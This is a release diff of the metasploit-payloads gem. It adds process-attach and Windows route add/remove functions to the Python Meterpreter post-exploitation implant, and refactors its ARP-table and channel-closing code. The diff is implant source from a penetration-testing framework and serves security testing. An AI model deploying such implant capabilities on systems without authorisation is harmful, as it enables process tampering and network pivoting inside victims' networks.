metasploit-payloads 2.0.117 → 2.0.119

checksums.yaml

@@ -1,7 +1,7 @@
 ---
 SHA256:
-  metadata.gz: 05c0688e00a3feee84019a39f18e4266fdabf52306270814126790b4696b9d99
-  data.tar.gz: c8ce328d12b7362b16bceac80da589ea8ad5f49dbfb36bd7398556cae8131787
+  metadata.gz: b67e513ed92128da0555d06d5700100438229971a8750aefac72059efec74eb8
+  data.tar.gz: 90a3af70071ac13b8b29db40a47868c5221361e14ad21aec997d1cfb52634d03
 SHA512:
-  metadata.gz: ffd922676e0fe215e3092cce6ac98846a9321f4f0d622e12989d3df18e16b701dd82724a732398f208c8f5cc097fee200fc4a4749c49d825443b6d6c4de7604d
-  data.tar.gz: e648692fcc8d4d2e3c9b13dfa790c601dc0bd81556e404ed5fc5783b256d55eb0c4838ceecfee649bec1d8d548b242f8bc93df973cf657add29cf82d55367a22
+  metadata.gz: c961adbd35fd2999240f21e45383fa2ebd11edae361b65858361989ca32decc61d79b0259dcc0892ec65d714baed184f00d16499a6c4d5454599d268511c90ae
+  data.tar.gz: 7d90eebd468b2f28d536d395e62a29a4f1f342a72fa7141f2c4816887331e7cd5cea21906f8c717fb2b056f09fe316091171ba64170c728f87e7086773e7e95c

data/data/meterpreter/ext_server_stdapi.py

@@ -1002,6 +1002,9 @@ def getaddrinfo_from_request(request, socktype, proto):
         local_address_info = None
     return peer_address_info, local_address_info
 
+def addr_atoi4(address):
+    return struct.unpack('!I',  socket.inet_aton(address))[0]
+
 def netlink_request(req_type, req_data):
     # See RFC 3549
     NLM_F_REQUEST    = 0x0001
@@ -1336,6 +1339,28 @@ def stdapi_sys_config_sysinfo(request, response):
     response += tlv_pack(TLV_TYPE_ARCHITECTURE, get_system_arch())
     return ERROR_SUCCESS, response
 
+@register_function_if(has_windll)
+def stdapi_sys_process_attach(request, response):
+    pid = packet_get_tlv(request, TLV_TYPE_PID)['value']
+    if not pid:
+        GetCurrentProcess = ctypes.windll.kernel32.GetCurrentProcess
+        GetCurrentProcess.restype = ctypes.c_void_p
+        handle = GetCurrentProcess()
+    else:
+        inherit = packet_get_tlv(request, TLV_TYPE_INHERIT)['value']
+        permissions = packet_get_tlv(request, TLV_TYPE_PROCESS_PERMS)['value']
+
+        OpenProcess = ctypes.windll.kernel32.OpenProcess
+        OpenProcess.argtypes = [ctypes.c_uint32, ctypes.c_bool, ctypes.c_uint32]
+        OpenProcess.restype = ctypes.c_void_p
+        handle = OpenProcess(permissions, inherit, pid)
+    if not handle:
+        return error_result_windows(), response
+    meterpreter.processes[handle] = None
+    debug_print('[*] added process id: ' + str(pid) + ', handle: ' + str(handle))
+    response += tlv_pack(TLV_TYPE_HANDLE, handle)
+    return ERROR_SUCCESS, response
+
 @register_function
 def stdapi_sys_process_close(request, response):
     proc_h_id = packet_get_tlv(request, TLV_TYPE_HANDLE)['value']
@@ -1901,19 +1926,22 @@ def stdapi_net_config_get_arp_table(request, response):
         if not os.path.exists(arp_cache_file):
             return ERROR_NOT_SUPPORTED, response
 
-        with open(arp_cache_file, 'r') as arp_cache:
-            lines = arp_cache.readlines()
-            for line in lines[1:]:
-                fields = line.split()
-                ip_address = fields[0]
-                mac_address = fields[3]
-                mac_address = binascii.unhexlify(mac_address.replace(':', ''))
-                interface_name = fields[5]
-                arp_tlv  = bytes()
-                arp_tlv += tlv_pack(TLV_TYPE_IP, socket.inet_aton(ip_address))
-                arp_tlv += tlv_pack(TLV_TYPE_MAC_ADDRESS, mac_address)
-                arp_tlv += tlv_pack(TLV_TYPE_MAC_NAME, interface_name)
-                response += tlv_pack(TLV_TYPE_ARP_ENTRY, arp_tlv)
+        arp_cache = open('/proc/net/arp', 'r')
+        lines = arp_cache.readlines()
+        for line in lines[1:]:
+            fields = line.split()
+            ip_address = fields[0]
+            mac_address = fields[3]
+            mac_address = bytes().join(binascii.unhexlify(h) for h in mac_address.split(':'))
+            interface_name = fields[5]
+            arp_tlv  = bytes()
+            arp_tlv += tlv_pack(TLV_TYPE_IP, socket.inet_aton(ip_address))
+            arp_tlv += tlv_pack(TLV_TYPE_MAC_ADDRESS, mac_address)
+            arp_tlv += tlv_pack(TLV_TYPE_MAC_NAME, interface_name)
+            response += tlv_pack(TLV_TYPE_ARP_ENTRY, arp_tlv)
+        arp_cache.close()
+    else:
+        return ERROR_NOT_SUPPORTED, response
     return ERROR_SUCCESS, response
 
 @register_function
@@ -2124,6 +2152,73 @@ def stdapi_net_config_get_routes(request, response):
         response += tlv_pack(TLV_TYPE_NETWORK_ROUTE, route_tlv)
     return ERROR_SUCCESS, response
 
+def _win_route_add_remove(is_add, request, response):
+    class IPAddr(ctypes.Structure):
+        _fields_ = [
+            ("S_addr", ctypes.c_ulong)]
+
+    MIB_IPROUTE_TYPE_INDIRECT = 4
+    MIB_IPPROTO_NETMGMT = 3
+
+    GetBestInterface = ctypes.windll.Iphlpapi.GetBestInterface
+    GetBestInterface.argtypes = [IPAddr, ctypes.POINTER(ctypes.c_ulong)]
+    GetBestInterface.restype = ctypes.c_ulong
+
+    CreateIpForwardEntry = ctypes.windll.Iphlpapi.CreateIpForwardEntry
+    CreateIpForwardEntry.argtypes = [PMIB_IPFORWARDROW]
+    CreateIpForwardEntry.restype = ctypes.c_ulong
+
+    DeleteIpForwardEntry = ctypes.windll.Iphlpapi.DeleteIpForwardEntry
+    DeleteIpForwardEntry.argtypes = [PMIB_IPFORWARDROW]
+    DeleteIpForwardEntry.restype = ctypes.c_ulong
+
+    GetIpInterfaceEntry = ctypes.windll.Iphlpapi.GetIpInterfaceEntry
+    GetIpInterfaceEntry.argtypes = [ctypes.POINTER(MIB_IPINTERFACE_ROW)]
+    GetIpInterfaceEntry.restype = ctypes.c_ulong
+
+    subnet = packet_get_tlv(request, TLV_TYPE_SUBNET_STRING)['value']
+    netmask = packet_get_tlv(request, TLV_TYPE_NETMASK_STRING)['value']
+    gateway = packet_get_tlv(request, TLV_TYPE_GATEWAY_STRING)['value']
+
+    route = MIB_IPFORWARDROW()
+    route.dwForwardDest = socket.ntohl(addr_atoi4(subnet))
+    route.dwForwardMask = socket.ntohl(addr_atoi4(netmask))
+    route.dwForwardNextHop = socket.ntohl(addr_atoi4(gateway))
+    route.dwForwardType = MIB_IPROUTE_TYPE_INDIRECT
+    route.dwForwardProto = MIB_IPPROTO_NETMGMT
+    route.dwForwardAge = -1
+    route.dwForwardMetric1 = 0
+
+    best_iface = ctypes.c_ulong()
+    ip_addr = IPAddr(socket.ntohl(addr_atoi4(subnet)))
+    result = GetBestInterface(ip_addr, ctypes.byref(best_iface))
+    if result != ERROR_SUCCESS:
+        return error_result_windows(result), response
+    route.dwForwardIfIndex = best_iface
+
+    iface = MIB_IPINTERFACE_ROW(Family=WIN_AF_INET, InterfaceIndex=route.dwForwardIfIndex)
+    result = GetIpInterfaceEntry(ctypes.byref(iface))
+    if result != ERROR_SUCCESS:
+        return error_result_windows(result), response
+    route.dwForwardMetric1 = iface.Metric
+
+    if is_add:
+        result = CreateIpForwardEntry(ctypes.byref(route))
+    else:
+        result = DeleteIpForwardEntry(ctypes.byref(route))
+    if result != ERROR_SUCCESS:
+        return error_result_windows(result), response
+
+    return ERROR_SUCCESS, response
+
+@register_function_if(has_windll)
+def stdapi_net_config_add_route(request, response):
+    return _win_route_add_remove(True, request, response)
+
+@register_function_if(has_windll)
+def stdapi_net_config_remove_route(request, response):
+    return _win_route_add_remove(False, request, response)
+
 def stdapi_net_config_get_routes_via_netlink():
     rta_align = lambda l: l+3 & ~3
     responses = netlink_request(RTM_GETROUTE, RTMSG(family=socket.AF_UNSPEC))

data/data/meterpreter/meterpreter.py

@@ -1259,6 +1259,21 @@ class PythonMeterpreter(object):
         self.next_channel_id += 1
         return idx
 
+    def close_channel(self, channel_id):
+        if channel_id not in self.channels:
+            return False
+        channel = self.channels[channel_id]
+        try:
+            channel.close()
+        except Exception:
+            debug_traceback('[-] failed to close channel id: ' + str(channel_id))
+            return False
+        del self.channels[channel_id]
+        if channel_id in self.interact_channels:
+            self.interact_channels.remove(channel_id)
+        debug_print('[*] closed and removed channel id: ' + str(channel_id))
+        return True
+
     def add_process(self, process):
         if has_windll:
             PROCESS_ALL_ACCESS = 0x1fffff
@@ -1274,37 +1289,24 @@ class PythonMeterpreter(object):
         return handle
 
     def close_process(self, proc_h_id):
-        proc_h = self.processes.pop(proc_h_id, None)
-        if not proc_h:
+        if proc_h_id not in self.processes:
             return False
-        for channel_id, channel in self.channels.items():
-            if not isinstance(channel, MeterpreterProcess):
-                continue
-            if not channel.proc_h is proc_h:
-                continue
-            self.close_channel(channel_id)
-            break
+        proc_h = self.processes.pop(proc_h_id)
+        if proc_h:
+            # proc_h is only set when we started the process via execute and not when we attached to it
+            for channel_id, channel in self.channels.items():
+                if not isinstance(channel, MeterpreterProcess):
+                    continue
+                if not channel.proc_h is proc_h:
+                    continue
+                self.close_channel(channel_id)
+                break
         if has_windll:
             CloseHandle = ctypes.windll.kernel32.CloseHandle
             CloseHandle.argtypes = [ctypes.c_void_p]
             CloseHandle.restype = ctypes.c_long
             CloseHandle(proc_h_id)
-        debug_print('[*] closed and removed process id: ' + str(proc_h.pid) + ', handle: ' + str(proc_h_id))
-        return True
-
-    def close_channel(self, channel_id):
-        if channel_id not in self.channels:
-            return False
-        channel = self.channels[channel_id]
-        try:
-            channel.close()
-        except Exception:
-            debug_traceback('[-] failed to close channel id: ' + str(channel_id))
-            return False
-        del self.channels[channel_id]
-        if channel_id in self.interact_channels:
-            self.interact_channels.remove(channel_id)
-        debug_print('[*] closed and removed channel id: ' + str(channel_id))
+        debug_print('[*] closed and removed process handle: ' + str(proc_h_id))
         return True
 
     def get_packet(self):

data/lib/metasploit-payloads/version.rb

@@ -1,6 +1,6 @@
 # -*- coding:binary -*-
 module MetasploitPayloads
-  VERSION = '2.0.117'
+  VERSION = '2.0.119'
 
   def self.version
     VERSION

metadata

@@ -1,7 +1,7 @@
 --- !ruby/object:Gem::Specification
 name: metasploit-payloads
 version: !ruby/object:Gem::Version
-  version: 2.0.117
+  version: 2.0.119
 platform: ruby
 authors:
 - OJ Reeves
@@ -96,7 +96,7 @@ cert_chain:
   EknWpNgVhohbot1lfVAMmIhdtOVaRVcQQixWPwprDj/ydB8ryDMDosIMcw+fkoXU
   9GJsSaSRRYQ9UUkVL27b64okU8D48m8=
   -----END CERTIFICATE-----
-date: 2023-03-03 00:00:00.000000000 Z
+date: 2023-03-07 00:00:00.000000000 Z
 dependencies:
 - !ruby/object:Gem::Dependency
   name: rake